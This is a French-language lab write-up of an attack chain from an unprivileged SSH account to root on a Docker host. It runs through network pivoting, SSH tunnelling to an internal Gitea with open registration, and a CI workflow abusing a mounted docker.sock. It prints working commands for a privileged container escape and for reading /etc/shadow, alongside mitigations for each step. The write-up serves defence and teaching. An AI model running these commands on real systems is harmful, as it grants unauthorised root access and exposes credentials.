D’un compte SSH à root sur l’hôte, via un runner CI mal configuré
J’ai monté un petit lab pour reproduire une situation qu’on rencontre souvent sur les forges auto-hébergées avec CI. On part d’un compte SSH sans privilège, on arrive root sur l’hôte Docker. Entre les deux, rien de sophistiqué : un rebond réseau, une inscription ouverte, et un runner CI dans lequel le socket Docker de la machine est monté.
Aucune de ces étapes n’est une vraie faille. Chacune ressemble à une petite négligence qu’on laisse passer. C’est en les enchaînant qu’on obtient le root. Pour chaque étape, je note donc aussi ce qui aurait suffi à arrêter l’attaque.
Le lab
Trois conteneurs :
jump, la seule machine accessible depuis l’hôte (SSH sur le port2222). Elle est branchée à la fois sur le réseau exposé et sur le réseau interne ;gitea, la forge. Aucun port n’est publié vers l’hôte, elle est donc invisible de l’extérieur. L’inscription est ouverte et les Actions (la CI) sont activées ;runner, unact_runnerconnecté à Gitea qui exécute les jobs, avec/var/run/docker.sockmonté.
Le réseau interne est déclaré internal: true dans Docker : il n’a de route ni vers l’hôte ni vers internet. L’idée est que jump soit la seule porte d’entrée et que la forge reste à l’abri. Sur le papier, la segmentation tient.
1. Se repérer depuis le rebond
On commence avec un compte utilisateur sans privilège sur jump :
ssh student@127.0.0.1 -p 2222
La machine a bien deux interfaces :
jump:~$ ip a
# eth0 -> 172.22.0.2/16 (réseau exposé)
# eth1 -> 172.21.0.3/16 (réseau interne)
Il n’y a pas d’outils sur place : pas de nmap, pas d’apt, parfois même pas de curl selon l’image. Mais jump peut sortir sur internet par le réseau exposé, donc on télécharge un nmap statique :
cd /tmp
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap
chmod +x nmap
./nmap -p- 172.21.0.0/24
Ce qu’on trouve sur le réseau interne :
172.21.0.1 -> hôte (22/80/443)
172.21.0.2 -> gitea (22, 3000)
172.21.0.3 -> jump
172.21.0.4 -> runner (tous ports fermés)
La forge répond sur 172.21.0.2:3000. Un wget -qO- depuis jump montre un Gitea 1.22.6 avec un bouton « Register » : n’importe qui peut s’inscrire.
Pour bloquer ici. Cette reconnaissance n’est possible que parce que
jumppeut à la fois sortir sur internet et parler librement au réseau interne. Une machine de rebond n’a besoin ni de l’un ni de l’autre. Bloquer ses connexions sortantes et ne laisser passer vers l’interne que les flux nécessaires (ici, aucun) réduit déjà beaucoup les possibilités.
2. Atteindre la forge
La forge n’est pas publiée vers l’hôte, alors on passe par jump avec une redirection de port SSH :
ssh -L 3000:172.21.0.2:3000 student@127.0.0.1 -p 2222
Ça ne marche que si le serveur SSH de jump autorise la redirection. Avec AllowTcpForwarding no, le client affiche simplement :
channel 3: open failed: administratively prohibited: open failed
Dans le lab, la redirection est autorisée. http://127.0.0.1:3000 sur ma machine mène donc à la forge interne. Je m’inscris, et j’ai un compte qui peut créer des dépôts et des workflows.
Pour bloquer ici. Côté rebond,
AllowTcpForwarding nosurjumpinterdit le tunnel. On peut aussi être plus fin avecPermitOpen, limité aux seules destinations prévues. Côté forge,DISABLE_REGISTRATION=trueempêche un inconnu de se créer un compte capable de lancer de la CI.
3. Exécuter du code dans le runner
Avec un compte sur la forge, je crée un dépôt et j’y ajoute un workflow Gitea Actions. Le runner (act_runner, label ubuntu-latest) accepte les jobs de n’importe quel dépôt, donc le mien aussi.
Un premier workflow suffit pour vérifier deux choses : que mon code s’exécute bien dans le runner, et que le socket Docker est accessible.
name: test-docker
on: [push]
jobs:
execution-job:
runs-on: ubuntu-latest
steps:
- name: installation docker
run: curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh && rm get-docker.sh
- name: interrogation docker
run: docker -H unix:///var/run/docker.sock ps
Le job installe le client Docker, puis interroge le socket. On voit tous les conteneurs du lab, pas seulement celui du job. C’est donc bien au démon Docker de l’hôte qu’on parle :
CONTAINER ID IMAGE ... NAMES
9eeb6358e0b6 node:20-bookworm ... GITEA-ACTIONS-TASK-...execution-job...
b20ca9a63be1 gitea/act_runner:latest ... lab-runner
25071b0ec58b alpine:latest ... lab-jump
905523e02378 gitea/gitea:1.22 ... lab-gitea
On n’est pas encore sorti du conteneur, mais on a accès au démon, et c’est tout ce qu’il faut pour la suite.
Pour bloquer ici. Un runner ne devrait pas exécuter les jobs de n’importe quel dépôt. On le réserve à une organisation de confiance, et on n’expose pas un runner partagé à des dépôts que tout le monde peut créer. C’est la combinaison « inscription ouverte + runner global » qui transforme un compte quelconque en exécution de code.
4. Du runner à l’hôte
Pouvoir parler au socket Docker de l’hôte, c’est être root sur l’hôte. Ce n’est pas un bug de Docker, c’est le principe même du socket : celui qui peut écrire dedans peut lancer un conteneur avec les droits et les montages qu’il veut. Pas besoin d’exploit, il suffit de demander un conteneur privilégié qui monte la racine de l’hôte :
docker -H unix:///var/run/docker.sock run --rm -it \
--privileged --net=host --pid=host \
-v /:/host \
alpine chroot /host sh
/host est maintenant le système de fichiers de l’hôte, et le chroot donne un shell root dessus. On peut lire n’importe quel fichier, ajouter sa clé dans /root/.ssh/authorized_keys ou récupérer les secrets des autres conteneurs. La segmentation réseau du départ ne sert plus à rien : on n’est pas passé par le réseau, mais par le démon Docker.
Plus discret, sans shell interactif ni conteneur privilégié :
docker -H unix:///var/run/docker.sock run --rm \
-v /:/host alpine cat /host/etc/shadow
Pour bloquer ici. C’est l’étape la plus importante. Monter
/var/run/docker.sockdans un runner de CI, c’est donner le root de l’hôte à tout le code qui passe par cette CI. Les alternatives sont connues :
- ne pas monter le socket si le job n’a pas besoin de Docker ;
- pour construire des images, utiliser un outil sans démon (Kaniko, Buildah) ou un Docker-in-Docker isolé avec son propre démon jetable ;
- passer par un proxy de socket (par exemple
docker-socket-proxy) qui n’expose qu’une partie de l’API, en lecture ;- pour du code peu fiable, faire tourner les jobs dans un runtime plus isolé (gVisor, Kata).
La chaîne complète
| Étape | Ce qui la rend possible | Ce qui l’aurait bloquée |
|---|---|---|
| Reconnaissance interne | jump sort sur internet et parle librement au réseau interne | Bloquer les sorties, filtrer les flux depuis le rebond |
| Accès à la forge | Redirection de port SSH à travers jump | AllowTcpForwarding no ou PermitOpen restreint |
| Compte sur la forge | Inscription ouverte | Désactiver l’inscription libre |
| Code exécuté en CI | Runner global qui accepte tous les dépôts | Runner réservé à une organisation de confiance |
| Sortie vers l’hôte | docker.sock monté dans le runner | Ne pas monter le socket, builder sans démon ou isolé |
Ce que j’en retiens
Aucune de ces étapes n’aurait sa CVE. Ce sont cinq choix de configuration, et chacun se défend : un rebond qui télécharge ses outils, un réseau segmenté, un tunnel SSH autorisé, une forge ouverte aux inscriptions, un runner qui sait construire des images Docker. Mis bout à bout, ils mènent d’un compte SSH sans droits au root sur l’hôte.
Le dernier maillon est celui que je surveillerais en premier. La segmentation réseau du lab est propre, et pourtant elle ne sert à rien, parce que la sortie passe par le démon Docker et pas par le réseau. Isoler les réseaux ne protège pas grand-chose si on laisse ailleurs un accès direct au contrôle de l’hôte, et un socket Docker monté dans une CI en est un.